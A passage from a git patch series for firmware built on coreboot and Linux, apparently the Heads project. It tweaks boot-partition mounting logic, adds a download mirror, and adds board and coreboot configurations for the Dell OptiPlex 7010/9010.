a/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config b/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config index 22e87dd5c..27db8c52b 100644 --- a/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config +++ b/unmaintained_boards/UNTESTED_winterfell/UNTESTED_winterfell.config @@ -43,7 +43,6 @@ export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_TPM=n export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_DEV="/dev/sda1" #$(board_build)/linuxboot.rom: $(build)/$(linuxboot_dir)/ From faa77d40643ec51f583c9edf5b1cd402f2443a3e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 8 Sep 2024 13:37:33 -0400 Subject: [PATCH 242/619] /etc/functions:mount_possible_boot_device; punch exclusion of mount attempt on partitions <2Mb (4096 sectors) Removes spurious errors thrown for exfat in dmesg in that function. Something better to propose? Signed-off-by: Thierry Laurion --- initrd/etc/functions | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 94f77d3e2..3c4b092c7 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -697,13 +697,24 @@ mount_possible_boot_device() { return 1 fi - TRACE "Try mounting $BOOT_DEV as /boot" - if mount -o ro "$BOOT_DEV" /boot >/dev/null 2>&1; then - if ls -d /boot/grub* >/dev/null 2>&1; then - # This device is a reasonable boot device - return 0 - fi + # Get the size of BOOT_DEV in 512-byte sectors + sectors=$(blockdev --getsz "$BOOT_DEV") + + # Check if the partition is small (less than 2MB, which is 4096 sectors) + if [ "$sectors" -lt 4096 ]; then + TRACE_FUNC + DEBUG "Partition $BOOT_DEV is very small, likely BIOS boot. Skipping mount." + return 1 + else + TRACE_FUNC + DEBUG "Try mounting $BOOT_DEV as /boot" + if mount -o ro "$BOOT_DEV" /boot >/dev/null 2>&1; then + if ls -d /boot/grub* >/dev/null 2>&1; then + # This device is a reasonable boot device + return 0 + fi umount /boot || true + fi fi return 1 From d6ef65c57878dc5e05bd0f3e6fa7583c7bd445ef Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 26 Sep 2024 08:59:01 -0400 Subject: [PATCH 243/619] bin/fetch_source_archive.sh: Add storage.puri.st mirror storage.puri.st is an alternate host name for storage.puri.sm, in case there is another issue with the .sm name registration. Signed-off-by: Jonathon Hall --- bin/fetch_source_archive.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/bin/fetch_source_archive.sh b/bin/fetch_source_archive.sh index 76cb0e60f..0738395ff 100755 --- a/bin/fetch_source_archive.sh +++ b/bin/fetch_source_archive.sh @@ -4,6 +4,7 @@ set -eo pipefail # Mirror URLs, make sure these end in slashes. BACKUP_MIRRORS=( https://storage.puri.sm/heads-packages/ + https://storage.puri.st/heads-packages/ ) usage() From 8cf7d49fe8e550a3f0594c0bee3037000513ea33 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 8 Sep 2024 14:51:35 -0400 Subject: [PATCH 244/619] Dell Optiplex 7019/9010 SFF inclusion based on coreboot master 24.02.01 for now - CircleCI: add build based on coreboot 24.02.01 release (might be old but unclear to my eyes now) - Add board non-HOTP board config as a start, reuse x230 linux config - Add coreboot config modified ans saved theourh coreboot Makefile file helper Next steps - Create blobs extraction scripts automating https://docs.dasharo.com/variants/dell_optiplex/initial-deployment/#firmware-preparation Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 + .../optiplex-7010_9010-maximized.config | 78 ++ ...reboot-optiplex-7019_9010-maximized.config | 687 ++++++++++++++++++ 3 files changed, 773 insertions(+) create mode 100644 boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config create mode 100644 config/coreboot-optiplex-7019_9010-maximized.config diff --git a/.circleci/config.yml b/.circleci/config.yml index 9c72f1d2a..bfd3b4621 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -348,6 +348,14 @@ workflows: requires: - x230-hotp-maximized + #TODO: move away of 24.02.01 coreboot and depend on optiplex specific dasharo commit + - build: + name: optiplex-7010_9010-maximized + target: optiplex-7010_9010-maximized + subcommand: "" + requires: + - x230-hotp-maximized + - build: name: x230-maximized-fhd_edp target: x230-maximized-fhd_edp diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config new file mode 100644 index 000000000..22d789fb6 --- /dev/null +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -0,0 +1,78 @@ +# Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) +# +# Includes +# - Deactivated+neutered ME and expanded consequent IFD BIOS regions +# - Forged 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx30/extract.sh) +# - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set +# +# - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=5.10.5 + +CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config +CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y + +#Additional hardware support +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y + + +#Remote attestation support +#TPM based requirements +export CONFIG_TPM=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y + +#Nitrokey Storage admin tool +CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y + +#Additional tools: +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOOT_DEV="/dev/sda1" +export CONFIG_BOARD_NAME="Dell Optiplex 7010/9010 maximized" +export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" + +#Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP +BOARD_TARGETS := xx30_me_blobs + +# Generate split 4MB top / 8MB bottom ROMs +BOARD_TARGETS += split_8mb4mb diff --git a/config/coreboot-optiplex-7019_9010-maximized.config b/config/coreboot-optiplex-7019_9010-maximized.config new file mode 100644 index 000000000..6aaf48118 --- /dev/null +++ b/config/coreboot-optiplex-7019_9010-maximized.config @@ -0,0 +1,687 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +CONFIG_TIMESTAMPS_ON_CONSOLE=y +# CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +CONFIG_VENDOR_DELL=y +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_PART_NUMBER="OptiPlex 9010" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="dell/snb_ivb_workstations" +CONFIG_VGA_BIOS_ID="8086,0106" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Dell Inc." +CONFIG_CBFS_SIZE=0xBE4FFF +CONFIG_CONSOLE_SERIAL=y +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_POST_DEVICE=y +CONFIG_POST_IO=y +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="variants/baseboard/devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="optiplex_9010_sff" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Dell Inc." +CONFIG_DRAM_RESET_GATE_GPIO=60 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +# CONFIG_CONSOLE_POST is not set +CONFIG_TPM_PIRQ=0x0 +# CONFIG_BOARD_DELL_E6400 is not set +CONFIG_BOARD_DELL_OPTIPLEX_9010=y +# CONFIG_BOARD_DELL_PRECISION_T1650 is not set +CONFIG_BOARD_DELL_SNB_IVB_WORKSTATIONS=y +CONFIG_INCLUDE_SMSC_SCH5545_EC_FW=y +CONFIG_SMSC_SCH5545_EC_FW_FILE="" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" +CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" +CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="OptiPlex 9010" +CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_TTYS0_BAUD=115200 +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +# CONFIG_PCIEXP_CLK_PM is not set +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# +CONFIG_SUPERIO_SMSC_SCH5545=y + +# +# Embedded Controllers +# + +# +# Intel Firmware +# +CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set +CONFIG_PCIEXP_HOTPLUG_IO=0x800 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y +# CONFIG_USBDEBUG is not set +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set 